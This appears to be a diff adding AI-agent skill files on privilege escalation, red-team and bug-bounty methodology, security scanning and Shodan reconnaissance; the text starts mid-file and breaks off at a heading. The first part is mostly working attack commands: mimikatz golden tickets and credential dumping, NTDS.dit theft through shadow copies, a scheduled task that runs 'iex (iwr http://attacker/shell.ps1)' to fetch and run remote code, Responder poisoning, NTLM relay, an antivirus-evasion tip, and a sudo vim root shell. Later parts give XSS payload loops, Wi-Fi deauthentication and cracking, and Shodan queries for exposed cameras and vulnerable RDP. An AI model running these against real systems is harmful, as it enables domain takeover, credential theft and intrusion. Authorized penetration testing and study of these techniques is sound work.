mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
```
#### 4. Pass-the-Ticket
```powershell
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
```
#### 5. Golden Ticket with Scheduled Tasks
```powershell
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
```
---
### Credential Harvesting
#### LLMNR Poisoning
```bash
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
```
#### NTLM Relay
```bash
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
```
#### Dumping with VSS
```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
```
---
## Quick Reference
| Technique | OS | Domain Required | Tool |
|-----------|-----|-----------------|------|
| Sudo Binary Abuse | Linux | No | GTFOBins |
| Cron Job Exploit | Linux | No | Manual |
| Capability Abuse | Linux | No | getcap |
| NFS no_root_squash | Linux | No | mount |
| Token Impersonation | Windows | No | SweetPotato |
| Service Abuse | Windows | No | PowerUp |
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
| AS-REP Roasting | Windows | Yes | Rubeus |
| Golden Ticket | Windows | Yes | Mimikatz |
| Pass-the-Ticket | Windows | Yes | Rubeus |
| DCSync | Windows | Yes | Mimikatz |
| LLMNR Poisoning | Windows | Yes | Responder |
---
## Constraints
**Must:**
- Have initial shell access before attempting escalation
- Verify target OS and environment before selecting technique
- Use appropriate tool for domain vs local escalation
**Must Not:**
- Attempt techniques on production systems without authorization
- Leave persistence mechanisms without client approval
- Ignore detection mechanisms (EDR, SIEM)
**Should:**
- Enumerate thoroughly before exploitation
- Document all successful escalation paths
- Clean up artifacts after engagement
---
## Examples
### Example 1: Linux Sudo to Root
```bash
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```
### Example 2: Windows Kerberoasting
```bash
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
```
---
## Troubleshooting
| Issue | Solution |
|-------|----------|
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
---
## Additional Resources
For detailed enumeration scripts, use:
- **LinPEAS**: Linux privilege escalation enumeration
- **WinPEAS**: Windows privilege escalation enumeration
- **BloodHound**: Active Directory attack path mapping
- **GTFOBins**: Unix binary exploitation reference

View File

@@ -0,0 +1,307 @@
---
name: Red Team Tools and Methodology
description: This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
---
# Red Team Tools and Methodology
## Purpose
Implement proven methodologies and tool workflows from top security researchers for effective reconnaissance, vulnerability discovery, and bug bounty hunting. Automate common tasks while maintaining thorough coverage of attack surfaces.
## Inputs/Prerequisites
- Target scope definition (domains, IP ranges, applications)
- Linux-based attack machine (Kali, Ubuntu)
- Bug bounty program rules and scope
- Tool dependencies installed (Go, Python, Ruby)
- API keys for various services (Shodan, Censys, etc.)
## Outputs/Deliverables
- Comprehensive subdomain enumeration
- Live host discovery and technology fingerprinting
- Identified vulnerabilities and attack vectors
- Automated recon pipeline outputs
- Documented findings for reporting
## Core Workflow
### 1. Project Tracking and Acquisitions
Set up reconnaissance tracking:
```bash
# Create project structure
mkdir -p target/{recon,vulns,reports}
cd target
# Find acquisitions using Crunchbase
# Search manually for subsidiary companies
# Get ASN for targets
amass intel -org "Target Company" -src
# Alternative ASN lookup
curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
```
### 2. Subdomain Enumeration
Comprehensive subdomain discovery:
```bash
# Create wildcards file
echo "target.com" > wildcards
# Run Amass passively
amass enum -passive -d target.com -src -o amass_passive.txt
# Run Amass actively
amass enum -active -d target.com -src -o amass_active.txt
# Use Subfinder
subfinder -d target.com -silent -o subfinder.txt
# Asset discovery
cat wildcards | assetfinder --subs-only | anew domains.txt
# Alternative subdomain tools
findomain -t target.com -o
# Generate permutations with dnsgen
cat domains.txt | dnsgen - | httprobe > permuted.txt
# Combine all sources
cat amass_*.txt subfinder.txt | sort -u > all_subs.txt
```
### 3. Live Host Discovery
Identify responding hosts:
```bash
# Check which hosts are live with httprobe
cat domains.txt | httprobe -c 80 --prefer-https | anew hosts.txt
# Use httpx for more details
cat domains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt
# Alternative with massdns
massdns -r resolvers.txt -t A -o S domains.txt > resolved.txt
```
### 4. Technology Fingerprinting
Identify technologies for targeted attacks:
```bash
# Whatweb scanning
whatweb -i hosts.txt -a 3 -v > tech_stack.txt
# Nuclei technology detection
nuclei -l hosts.txt -t technologies/ -o tech_nuclei.txt
# Wappalyzer (if available)
# Browser extension for manual review
```
### 5. Content Discovery
Find hidden endpoints and files:
```bash
# Directory bruteforce with ffuf
ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Historical URLs from Wayback
waybackurls target.com | tee wayback.txt
# Find all URLs with gau
gau target.com | tee all_urls.txt
# Parameter discovery
cat all_urls.txt | grep "=" | sort -u > params.txt
# Generate custom wordlist from historical data
cat all_urls.txt | unfurl paths | sort -u > custom_wordlist.txt
```
### 6. Application Analysis (Jason Haddix Method)
**Heat Map Priority Areas:**
1. **File Uploads** - Test for injection, XXE, SSRF, shell upload
2. **Content Types** - Filter Burp for multipart forms
3. **APIs** - Look for hidden methods, lack of auth
4. **Profile Sections** - Stored XSS, custom fields
5. **Integrations** - SSRF through third parties
6. **Error Pages** - Exotic injection points
**Analysis Questions:**
- How does the app pass data? (Params, API, Hybrid)
- Where does the app talk about users? (UID, UUID endpoints)
- Does the site have multi-tenancy or user levels?
- Does it have a unique threat model?
- How does the site handle XSS/CSRF?
- Has the site had past writeups/exploits?
### 7. Automated XSS Hunting
```bash
# ParamSpider for parameter extraction
python3 paramspider.py --domain target.com -o params.txt
# Filter with Gxss
cat params.txt | Gxss -p test
# Dalfox for XSS testing
cat params.txt | dalfox pipe --mining-dict params.txt -o xss_results.txt
# Alternative workflow
waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do
curl -s "$url" | grep -q 'alert(1)' && echo "$url"
done > potential_xss.txt
```
### 8. Vulnerability Scanning
```bash
# Nuclei comprehensive scan
nuclei -l hosts.txt -t ~/nuclei-templates/ -o nuclei_results.txt
# Check for common CVEs
nuclei -l hosts.txt -t cves/ -o cve_results.txt
# Web vulnerabilities
nuclei -l hosts.txt -t vulnerabilities/ -o vuln_results.txt
```
### 9. API Enumeration
**Wordlists for API fuzzing:**
```bash
# Enumerate API endpoints
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Test API versions
ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt
# Check for hidden methods
for method in GET POST PUT DELETE PATCH; do
curl -X $method https://target.com/api/users -v
done
```
### 10. Automated Recon Script
```bash
#!/bin/bash
domain=$1
if [[ -z $domain ]]; then
echo "Usage: ./recon.sh <domain>"
exit 1
fi
mkdir -p "$domain"
# Subdomain enumeration
echo "[*] Enumerating subdomains..."
subfinder -d "$domain" -silent > "$domain/subs.txt"
# Live host discovery
echo "[*] Finding live hosts..."
cat "$domain/subs.txt" | httpx -title -tech-detect -status-code > "$domain/live.txt"
# URL collection
echo "[*] Collecting URLs..."
cat "$domain/live.txt" | waybackurls > "$domain/urls.txt"
# Nuclei scanning
echo "[*] Running Nuclei..."
nuclei -l "$domain/live.txt" -o "$domain/nuclei.txt"
echo "[+] Recon complete!"
```
## Quick Reference
### Essential Tools
| Tool | Purpose |
|------|---------|
| Amass | Subdomain enumeration |
| Subfinder | Fast subdomain discovery |
| httpx/httprobe | Live host detection |
| ffuf | Content discovery |
| Nuclei | Vulnerability scanning |
| Burp Suite | Manual testing |
| Dalfox | XSS automation |
| waybackurls | Historical URL mining |
### Key API Endpoints to Check
```
/api/v1/users
/api/v1/admin
/api/v1/profile
/api/users/me
/api/config
/api/debug
/api/swagger
/api/graphql
```
### XSS Filter Testing
```html
<!-- Test encoding handling -->
<h1><img><table>
<script>
%3Cscript%3E
%253Cscript%253E
%26lt;script%26gt;
```
## Constraints
- Respect program scope boundaries
- Avoid DoS or fuzzing on production without permission
- Rate limit requests to avoid blocking
- Some tools may generate false positives
- API keys required for full functionality of some tools
## Examples
### Example 1: Quick Subdomain Recon
```bash
subfinder -d target.com | httpx -title | tee results.txt
```
### Example 2: XSS Hunting Pipeline
```bash
waybackurls target.com | grep "=" | qsreplace "test" | httpx -silent | dalfox pipe
```
### Example 3: Comprehensive Scan
```bash
# Full recon chain
amass enum -d target.com | httpx | nuclei -t ~/nuclei-templates/
```
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Rate limited | Use proxy rotation, reduce concurrency |
| Too many results | Focus on specific technology stacks |
| False positives | Manually verify findings before reporting |
| Missing subdomains | Combine multiple enumeration sources |
| API key errors | Verify keys in config files |
| Tools not found | Install Go tools with `go install` |

View File

@@ -0,0 +1,586 @@
---
name: Security Scanning Tools
description: This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
---
# Security Scanning Tools
## Purpose
Master essential security scanning tools for network discovery, vulnerability assessment, web application testing, wireless security, and compliance validation. This skill covers tool selection, configuration, and practical usage across different scanning categories.
## Prerequisites
### Required Environment
- Linux-based system (Kali Linux recommended)
- Network access to target systems
- Proper authorization for scanning activities
### Required Knowledge
- Basic networking concepts (TCP/IP, ports, protocols)
- Understanding of common vulnerabilities
- Familiarity with command-line interfaces
## Outputs and Deliverables
1. **Network Discovery Reports** - Identified hosts, ports, and services
2. **Vulnerability Assessment Reports** - CVEs, misconfigurations, risk ratings
3. **Web Application Security Reports** - OWASP Top 10 findings
4. **Compliance Reports** - CIS benchmarks, PCI-DSS, HIPAA checks
## Core Workflow
### Phase 1: Network Scanning Tools
#### Nmap (Network Mapper)
Primary tool for network discovery and security auditing:
```bash
# Host discovery
nmap -sn 192.168.1.0/24 # Ping scan (no port scan)
nmap -sL 192.168.1.0/24 # List scan (DNS resolution)
nmap -Pn 192.168.1.100 # Skip host discovery
# Port scanning techniques
nmap -sS 192.168.1.100 # TCP SYN scan (stealth)
nmap -sT 192.168.1.100 # TCP connect scan
nmap -sU 192.168.1.100 # UDP scan
nmap -sA 192.168.1.100 # ACK scan (firewall detection)
# Port specification
nmap -p 80,443 192.168.1.100 # Specific ports
nmap -p- 192.168.1.100 # All 65535 ports
nmap -p 1-1000 192.168.1.100 # Port range
nmap --top-ports 100 192.168.1.100 # Top 100 common ports
# Service and OS detection
nmap -sV 192.168.1.100 # Service version detection
nmap -O 192.168.1.100 # OS detection
nmap -A 192.168.1.100 # Aggressive (OS, version, scripts)
# Timing and performance
nmap -T0 192.168.1.100 # Paranoid (slowest, IDS evasion)
nmap -T4 192.168.1.100 # Aggressive (faster)
nmap -T5 192.168.1.100 # Insane (fastest)
# NSE Scripts
nmap --script=vuln 192.168.1.100 # Vulnerability scripts
nmap --script=http-enum 192.168.1.100 # Web enumeration
nmap --script=smb-vuln* 192.168.1.100 # SMB vulnerabilities
nmap --script=default 192.168.1.100 # Default script set
# Output formats
nmap -oN scan.txt 192.168.1.100 # Normal output
nmap -oX scan.xml 192.168.1.100 # XML output
nmap -oG scan.gnmap 192.168.1.100 # Grepable output
nmap -oA scan 192.168.1.100 # All formats
```
#### Masscan
High-speed port scanning for large networks:
```bash
# Basic scanning
masscan -p80 192.168.1.0/24 --rate=1000
masscan -p80,443,8080 192.168.1.0/24 --rate=10000
# Full port range
masscan -p0-65535 192.168.1.0/24 --rate=5000
# Large-scale scanning
masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile exclude.txt
# Output formats
masscan -p80 192.168.1.0/24 -oG results.gnmap
masscan -p80 192.168.1.0/24 -oJ results.json
masscan -p80 192.168.1.0/24 -oX results.xml
# Banner grabbing
masscan -p80 192.168.1.0/24 --banners
```
### Phase 2: Vulnerability Scanning Tools
#### Nessus
Enterprise-grade vulnerability assessment:
```bash
# Start Nessus service
sudo systemctl start nessusd
# Access web interface
# https://localhost:8834
# Command-line (nessuscli)
nessuscli scan --create --name "Internal Scan" --targets 192.168.1.0/24
nessuscli scan --list
nessuscli scan --launch <scan_id>
nessuscli report --format pdf --output report.pdf <scan_id>
```
Key Nessus features:
- Comprehensive CVE detection
- Compliance checks (PCI-DSS, HIPAA, CIS)
- Custom scan templates
- Credentialed scanning for deeper analysis
- Regular plugin updates
#### OpenVAS (Greenbone)
Open-source vulnerability scanning:
```bash
# Install OpenVAS
sudo apt install openvas
sudo gvm-setup
# Start services
sudo gvm-start
# Access web interface (Greenbone Security Assistant)
# https://localhost:9392
# Command-line operations
gvm-cli socket --xml "<get_version/>"
gvm-cli socket --xml "<get_tasks/>"
# Create and run scan
gvm-cli socket --xml '
<create_target>
<name>Test Target</name>
<hosts>192.168.1.0/24</hosts>
</create_target>'
```
### Phase 3: Web Application Scanning Tools
#### Burp Suite
Comprehensive web application testing:
```
# Proxy configuration
1. Set browser proxy to 127.0.0.1:8080
2. Import Burp CA certificate for HTTPS
3. Add target to scope
# Key modules:
- Proxy: Intercept and modify requests
- Spider: Crawl web applications
- Scanner: Automated vulnerability detection
- Intruder: Automated attacks (fuzzing, brute-force)
- Repeater: Manual request manipulation
- Decoder: Encode/decode data
- Comparer: Compare responses
```
Core testing workflow:
1. Configure proxy and scope
2. Spider the application
3. Analyze sitemap
4. Run active scanner
5. Manual testing with Repeater/Intruder
6. Review findings and generate report
#### OWASP ZAP
Open-source web application scanner:
```bash
# Start ZAP
zaproxy
# Automated scan from CLI
zap-cli quick-scan https://target.com
# Full scan
zap-cli spider https://target.com
zap-cli active-scan https://target.com
# Generate report
zap-cli report -o report.html -f html
# API mode
zap.sh -daemon -port 8080 -config api.key=<your_key>
```
ZAP automation:
```bash
# Docker-based scanning
docker run -t owasp/zap2docker-stable zap-full-scan.py \
-t https://target.com -r report.html
# Baseline scan (passive only)
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://target.com -r report.html
```
#### Nikto
Web server vulnerability scanner:
```bash
# Basic scan
nikto -h https://target.com
# Scan specific port
nikto -h target.com -p 8080
# Scan with SSL
nikto -h target.com -ssl
# Multiple targets
nikto -h targets.txt
# Output formats
nikto -h target.com -o report.html -Format html
nikto -h target.com -o report.xml -Format xml
nikto -h target.com -o report.csv -Format csv
# Tuning options
nikto -h target.com -Tuning 123456789 # All tests
nikto -h target.com -Tuning x # Exclude specific tests
```
### Phase 4: Wireless Scanning Tools
#### Aircrack-ng Suite
Wireless network penetration testing:
```bash
# Check wireless interface
airmon-ng
# Enable monitor mode
sudo airmon-ng start wlan0
# Scan for networks
sudo airodump-ng wlan0mon
# Capture specific network
sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
# Deauthentication attack
sudo aireplay-ng -0 10 -a <bssid> wlan0mon
# Crack WPA handshake
aircrack-ng -w wordlist.txt -b <bssid> capture*.cap
# Crack WEP
aircrack-ng -b <bssid> capture*.cap
```
#### Kismet
Passive wireless detection:
```bash
# Start Kismet
kismet
# Specify interface
kismet -c wlan0
# Access web interface
# http://localhost:2501
# Detect hidden networks
# Kismet passively collects all beacon frames
# including those from hidden SSIDs
```
### Phase 5: Malware and Exploit Scanning
#### ClamAV
Open-source antivirus scanning:
```bash
# Update virus definitions
sudo freshclam
# Scan directory
clamscan -r /path/to/scan
# Scan with verbose output
clamscan -r -v /path/to/scan
# Move infected files
clamscan -r --move=/quarantine /path/to/scan
# Remove infected files
clamscan -r --remove /path/to/scan
# Scan specific file types
clamscan -r --include='\.exe$|\.dll$' /path/to/scan
# Output to log
clamscan -r -l scan.log /path/to/scan
```
#### Metasploit Vulnerability Validation
Validate vulnerabilities with exploitation:
```bash
# Start Metasploit
msfconsole
# Database setup
msfdb init
db_status
# Import Nmap results
db_import /path/to/nmap_scan.xml
# Vulnerability scanning
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
# Auto exploitation
vulns # View vulnerabilities
analyze # Suggest exploits
```
### Phase 6: Cloud Security Scanning
#### Prowler (AWS)
AWS security assessment:
```bash
# Install Prowler
pip install prowler
# Basic scan
prowler aws
# Specific checks
prowler aws -c iam s3 ec2
# Compliance framework
prowler aws --compliance cis_aws
# Output formats
prowler aws -M html json csv
# Specific region
prowler aws -f us-east-1
# Assume role
prowler aws -R arn:aws:iam::123456789012:role/ProwlerRole
```
#### ScoutSuite (Multi-cloud)
Multi-cloud security auditing:
```bash
# Install ScoutSuite
pip install scoutsuite
# AWS scan
scout aws
# Azure scan
scout azure --cli
# GCP scan
scout gcp --user-account
# Generate report
scout aws --report-dir ./reports
```
### Phase 7: Compliance Scanning
#### Lynis
Security auditing for Unix/Linux:
```bash
# Run audit
sudo lynis audit system
# Quick scan
sudo lynis audit system --quick
# Specific profile
sudo lynis audit system --profile server
# Output report
sudo lynis audit system --report-file /tmp/lynis-report.dat
# Check specific section
sudo lynis show profiles
sudo lynis audit system --tests-from-group malware
```
#### OpenSCAP
Security compliance scanning:
```bash
# List available profiles
oscap info /usr/share/xml/scap/ssg/content/ssg-<distro>-ds.xml
# Run scan with profile
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \
--report report.html \
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
# Generate fix script
oscap xccdf generate fix \
--profile xccdf_org.ssgproject.content_profile_pci-dss \
--output remediation.sh \
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
```
### Phase 8: Scanning Methodology
Structured scanning approach:
1. **Planning**
- Define scope and objectives
- Obtain proper authorization
- Select appropriate tools
2. **Discovery**
- Host discovery (Nmap ping sweep)
- Port scanning
- Service enumeration
3. **Vulnerability Assessment**
- Automated scanning (Nessus/OpenVAS)
- Web application scanning (Burp/ZAP)
- Manual verification
4. **Analysis**
- Correlate findings
- Eliminate false positives
- Prioritize by severity
5. **Reporting**
- Document findings
- Provide remediation guidance
- Executive summary
### Phase 9: Tool Selection Guide
Choose the right tool for each scenario:
| Scenario | Recommended Tools |
|----------|-------------------|
| Network Discovery | Nmap, Masscan |
| Vulnerability Assessment | Nessus, OpenVAS |
| Web App Testing | Burp Suite, ZAP, Nikto |
| Wireless Security | Aircrack-ng, Kismet |
| Malware Detection | ClamAV, YARA |
| Cloud Security | Prowler, ScoutSuite |
| Compliance | Lynis, OpenSCAP |
| Protocol Analysis | Wireshark, tcpdump |
### Phase 10: Reporting and Documentation
Generate professional reports:
```bash
# Nmap XML to HTML
xsltproc nmap-output.xml -o report.html
# OpenVAS report export
gvm-cli socket --xml '<get_reports report_id="<id>" format_id="<pdf_format>"/>'
# Combine multiple scan results
# Use tools like Faraday, Dradis, or custom scripts
# Executive summary template:
# 1. Scope and methodology
# 2. Key findings summary
# 3. Risk distribution chart
# 4. Critical vulnerabilities
# 5. Remediation recommendations
# 6. Detailed technical findings
```
## Quick Reference
### Nmap Cheat Sheet
| Scan Type | Command |
|-----------|---------|
| Ping Scan | `nmap -sn <target>` |
| Quick Scan | `nmap -T4 -F <target>` |
| Full Scan | `nmap -p- <target>` |
| Service Scan | `nmap -sV <target>` |
| OS Detection | `nmap -O <target>` |
| Aggressive | `nmap -A <target>` |
| Vuln Scripts | `nmap --script=vuln <target>` |
| Stealth Scan | `nmap -sS -T2 <target>` |
### Common Ports Reference
| Port | Service |
|------|---------|
| 21 | FTP |
| 22 | SSH |
| 23 | Telnet |
| 25 | SMTP |
| 53 | DNS |
| 80 | HTTP |
| 443 | HTTPS |
| 445 | SMB |
| 3306 | MySQL |
| 3389 | RDP |
## Constraints and Limitations
### Legal Considerations
- Always obtain written authorization
- Respect scope boundaries
- Follow responsible disclosure practices
- Comply with local laws and regulations
### Technical Limitations
- Some scans may trigger IDS/IPS alerts
- Heavy scanning can impact network performance
- False positives require manual verification
- Encrypted traffic may limit analysis
### Best Practices
- Start with non-intrusive scans
- Gradually increase scan intensity
- Document all scanning activities
- Validate findings before reporting
## Troubleshooting
### Scan Not Detecting Hosts
**Solutions:**
1. Try different discovery methods: `nmap -Pn` or `nmap -sn -PS/PA/PU`
2. Check firewall rules blocking ICMP
3. Use TCP SYN scan: `nmap -PS22,80,443`
4. Verify network connectivity
### Slow Scan Performance
**Solutions:**
1. Increase timing: `nmap -T4` or `-T5`
2. Reduce port range: `--top-ports 100`
3. Use Masscan for initial discovery
4. Disable DNS resolution: `-n`
### Web Scanner Missing Vulnerabilities
**Solutions:**
1. Authenticate to access protected areas
2. Increase crawl depth
3. Add custom injection points
4. Use multiple tools for coverage
5. Perform manual testing

View File

@@ -0,0 +1,500 @@
---
name: Shodan Reconnaissance and Pentesting
description: This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
---
# Shodan Reconnaissance and Pentesting
## Purpose
Provide systematic methodologies for leveraging Shodan as a reconnaissance tool during penetration testing engagements. This skill covers the Shodan web interface, command-line interface (CLI), REST API, search filters, on-demand scanning, and network monitoring capabilities for discovering exposed services, vulnerable systems, and IoT devices.
## Inputs / Prerequisites
- **Shodan Account**: Free or paid account at shodan.io
- **API Key**: Obtained from Shodan account dashboard
- **Target Information**: IP addresses, domains, or network ranges to investigate
- **Shodan CLI**: Python-based command-line tool installed
- **Authorization**: Written permission for reconnaissance on target networks
## Outputs / Deliverables
- **Asset Inventory**: List of discovered hosts, ports, and services
- **Vulnerability Report**: Identified CVEs and exposed vulnerable services
- **Banner Data**: Service banners revealing software versions
- **Network Mapping**: Geographic and organizational distribution of assets
- **Screenshot Gallery**: Visual reconnaissance of exposed interfaces
- **Exported Data**: JSON/CSV files for further analysis
## Core Workflow
### 1. Setup and Configuration
#### Install Shodan CLI
```bash
# Using pip
pip install shodan
# Or easy_install
easy_install shodan
# On BlackArch/Arch Linux
sudo pacman -S python-shodan
```
#### Initialize API Key
```bash
# Set your API key
shodan init YOUR_API_KEY
# Verify setup
shodan info
# Output: Query credits available: 100
# Scan credits available: 100
```
#### Check Account Status
```bash
# View credits and plan info
shodan info
# Check your external IP
shodan myip
# Check CLI version
shodan version
```
### 2. Basic Host Reconnaissance
#### Query Single Host
```bash
# Get all information about an IP
shodan host 1.1.1.1
# Example output:
# 1.1.1.1
# Hostnames: one.one.one.one
# Country: Australia
# Organization: Mountain View Communications
# Number of open ports: 3
# Ports:
# 53/udp
# 80/tcp
# 443/tcp
```
#### Check if Host is Honeypot
```bash
# Get honeypot probability score
shodan honeyscore 192.168.1.100
# Output: Not a honeypot
# Score: 0.3
```
### 3. Search Queries
#### Basic Search (Free)
```bash
# Simple keyword search (no credits consumed)
shodan search apache
# Specify output fields
shodan search --fields ip_str,port,os smb
```
#### Filtered Search (1 Credit)
```bash
# Product-specific search
shodan search product:mongodb
# Search with multiple filters
shodan search product:nginx country:US city:"New York"
```
#### Count Results
```bash
# Get result count without consuming credits
shodan count openssh
# Output: 23128
shodan count openssh 7
# Output: 219
```
#### Download Results
```bash
# Download 1000 results (default)
shodan download results.json.gz "apache country:US"
# Download specific number of results
shodan download --limit 5000 results.json.gz "nginx"
# Download all available results
shodan download --limit -1 all_results.json.gz "query"
```
#### Parse Downloaded Data
```bash
# Extract specific fields from downloaded data
shodan parse --fields ip_str,port,hostnames results.json.gz
# Filter by specific criteria
shodan parse --fields location.country_code3,ip_str -f port:22 results.json.gz
# Export to CSV format
shodan parse --fields ip_str,port,org --separator , results.json.gz > results.csv
```
### 4. Search Filters Reference
#### Network Filters
```
ip:1.2.3.4 # Specific IP address
net:192.168.0.0/24 # Network range (CIDR)
hostname:example.com # Hostname contains
port:22 # Specific port
asn:AS15169 # Autonomous System Number
```
#### Geographic Filters
```
country:US # Two-letter country code
country:"United States" # Full country name
city:"San Francisco" # City name
state:CA # State/region
postal:94102 # Postal/ZIP code
geo:37.7,-122.4 # Lat/long coordinates
```
#### Organization Filters
```
org:"Google" # Organization name
isp:"Comcast" # ISP name
```
#### Service/Product Filters
```
product:nginx # Software product
version:1.14.0 # Software version
os:"Windows Server 2019" # Operating system
http.title:"Dashboard" # HTTP page title
http.html:"login" # HTML content
http.status:200 # HTTP status code
ssl.cert.subject.cn:*.example.com # SSL certificate
ssl:true # Has SSL enabled
```
#### Vulnerability Filters
```
vuln:CVE-2019-0708 # Specific CVE
has_vuln:true # Has any vulnerability
```
#### Screenshot Filters
```
has_screenshot:true # Has screenshot available
screenshot.label:webcam # Screenshot type
```
### 5. On-Demand Scanning
#### Submit Scan
```bash
# Scan single IP (1 credit per IP)
shodan scan submit 192.168.1.100
# Scan with verbose output (shows scan ID)
shodan scan submit --verbose 192.168.1.100
# Scan and save results
shodan scan submit --filename scan_results.json.gz 192.168.1.100
```
#### Monitor Scan Status
```bash
# List recent scans
shodan scan list
# Check specific scan status
shodan scan status SCAN_ID
# Download scan results later
shodan download --limit -1 results.json.gz scan:SCAN_ID
```
#### Available Scan Protocols
```bash
# List available protocols/modules
shodan scan protocols
```
### 6. Statistics and Analysis
#### Get Search Statistics
```bash
# Default statistics (top 10 countries, orgs)
shodan stats nginx
# Custom facets
shodan stats --facets domain,port,asn --limit 5 nginx
# Save to CSV
shodan stats --facets country,org -O stats.csv apache
```
### 7. Network Monitoring
#### Setup Alerts (Web Interface)
```
1. Navigate to Monitor Dashboard
2. Add IP, range, or domain to monitor
3. Configure notification service (email, Slack, webhook)
4. Select trigger events (new service, vulnerability, etc.)
5. View dashboard for exposed services
```
### 8. REST API Usage
#### Direct API Calls
```bash
# Get API info
curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
# Host lookup
curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
# Search query
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
```
#### Python Library
```python
import shodan
api = shodan.Shodan('YOUR_API_KEY')
# Search
results = api.search('apache')
print(f'Results found: {results["total"]}')
for result in results['matches']:
print(f'IP: {result["ip_str"]}')
# Host lookup
host = api.host('1.1.1.1')
print(f'IP: {host["ip_str"]}')
print(f'Organization: {host.get("org", "n/a")}')
for item in host['data']:
print(f'Port: {item["port"]}')
```
## Quick Reference
### Essential CLI Commands
| Command | Description | Credits |
|---------|-------------|---------|
| `shodan init KEY` | Initialize API key | 0 |
| `shodan info` | Show account info | 0 |
| `shodan myip` | Show your IP | 0 |
| `shodan host IP` | Host details | 0 |
| `shodan count QUERY` | Result count | 0 |
| `shodan search QUERY` | Basic search | 0* |
| `shodan download FILE QUERY` | Save results | 1/100 results |
| `shodan parse FILE` | Extract data | 0 |
| `shodan stats QUERY` | Statistics | 1 |
| `shodan scan submit IP` | On-demand scan | 1/IP |
| `shodan honeyscore IP` | Honeypot check | 0 |
*Filters consume 1 credit per query
### Common Search Queries
| Purpose | Query |
|---------|-------|
| Find webcams | `webcam has_screenshot:true` |
| MongoDB databases | `product:mongodb` |
| Redis servers | `product:redis` |
| Elasticsearch | `product:elastic port:9200` |
| Default passwords | `"default password"` |
| Vulnerable RDP | `port:3389 vuln:CVE-2019-0708` |
| Industrial systems | `port:502 modbus` |
| Cisco devices | `product:cisco` |
| Open VNC | `port:5900 authentication disabled` |
| Exposed FTP | `port:21 anonymous` |
| WordPress sites | `http.component:wordpress` |
| Printers | `"HP-ChaiSOE" port:80` |
| Cameras (RTSP) | `port:554 has_screenshot:true` |
| Jenkins servers | `X-Jenkins port:8080` |
| Docker APIs | `port:2375 product:docker` |
### Useful Filter Combinations
| Scenario | Query |
|---------|-------|
| Target org recon | `org:"Company Name"` |
| Domain enumeration | `hostname:example.com` |
| Network range scan | `net:192.168.0.0/24` |
| SSL cert search | `ssl.cert.subject.cn:*.target.com` |
| Vulnerable servers | `vuln:CVE-2021-44228 country:US` |
| Exposed admin panels | `http.title:"admin" port:443` |
| Database exposure | `port:3306,5432,27017,6379` |
### Credit System
| Action | Credit Type | Cost |
|--------|-------------|------|
| Basic search | Query | 0 (no filters) |
| Filtered search | Query | 1 |
| Download 100 results | Query | 1 |
| Generate report | Query | 1 |
| Scan 1 IP | Scan | 1 |
| Network monitoring | Monitored IPs | Depends on plan |
## Constraints and Limitations
